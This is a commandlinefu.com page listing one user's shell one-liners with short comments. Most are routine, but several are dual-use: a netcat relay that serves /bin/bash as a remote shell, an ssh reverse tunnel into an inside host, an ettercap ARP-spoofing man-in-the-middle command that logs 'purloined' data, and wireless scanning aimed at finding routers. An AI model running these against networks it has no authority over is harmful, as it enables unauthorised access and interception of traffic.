Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2011-03-12 - Confoo 2011 presentation
Slides are available from the commandlinefu presentation at Confoo 2011: http://presentations.codeinthehole.com/confoo2011/
2011-01-04 - Moderation now required for new commands
To try and put and end to the spamming, new commands require moderation before they will appear on the site.
2010-12-27 - Apologies for not banning the trolls sooner
Have been away from the interwebs over Christmas. Will be more vigilant henceforth.
2010-09-24 - OAuth and pagination problems fixed
Apologies for the delay in getting Twitter's OAuth supported. Annoying pagination gremlin also fixed.
Hide

Tags

Hide

Functions

Commands by Abiden from sorted by
Terminal - Commands by Abiden - 11 results
DISPLAY=":0.0"; export DISPLAY; import -window root gotya.png
2010-02-17 09:13:54
User: Abiden
Functions: export
3

Say if you're logged into a remote system via ssh and this system has an x window system, but yet you still want a screen shot of what's going on graphically. This will do it for you. :-)

#INSIDE-host# ssh -f -N -R 8888:localhost:22 user@somedomain.org # #OUTSIDE-host#ssh user@localhost -p 8888#
2010-02-14 21:43:44
User: Abiden
Functions: ssh
3

Both hosts must be running ssh and also the outside host must have a port forwarded to port 22.

#Client# cat "The Meters - People Say.mp3" | nc -vv 192.168.1.100 8080; #Server# nc -vv -l -s 192.168.1.100 -p 8080 | mpg123 -v -
2010-01-30 08:50:17
User: Abiden
Functions: cat mpg123
-3

I think I picked this one up from Hak5 (yeah I know.. kinda lame)

nc -vv $MIDDLEHOST 1234; ## nc -vv -l $IamMIDDLEHOST 1234 | nc $Targethost 1234;## nc -l $IamTargetHost 1234 -e /bin/bash;
2010-01-29 16:45:39
User: Abiden
2

This is an example of using 3 hosts, in a netcat relay.

first host connects to middle host

1 -> 2

Second hosts redirects to target host

1 -> 2 -> 3

I hope this makes sense.

echo $(echo $(seq $MIN $MAX) | sed 's/ /+/g') | bc -l
xkill
man ettercap
2010-01-29 14:28:38
User: Abiden
Functions: man
-7

A very interesting man page!

ettercap -i ${interface} -P ${plugin} -Tq -M ARP:REMOTE // // -m ${PurloinedData}.log
2010-01-29 14:27:51
User: Abiden
1

There weren't any one liners for ettercap on this site... tisk tisk :-)

(of course you'll have to plugin your own values for the variables..)

for i in $(ls /usr/bin); do whatis $i | grep -v nothing; done | more
for ((i=1; i<67; i++)) do wget http://www.phrack.org/archives/tgz/phrack${i}.tar.gz -q; done
2009-08-20 23:27:01
User: Abiden
Functions: wget
0

This will download all the phracks! Enjoy!

watch -n .5 "iwlist wlan0 scan"
2009-08-20 23:05:04
User: Abiden
Functions: watch
1

If you're like some individuals who rely on ndiswrapper and cannot use kismet, this command may be of service.

watch -n .5 "iwlist wlan0 scan | egrep 'ESSID|Encryption'"

Or...

watch -n .5 "iwlist wlan0 scan | egrep 'ESSID|Encryption' | egrep 'linksys'"

:-) Hopefully you'll find some dd-wrt compatible routers.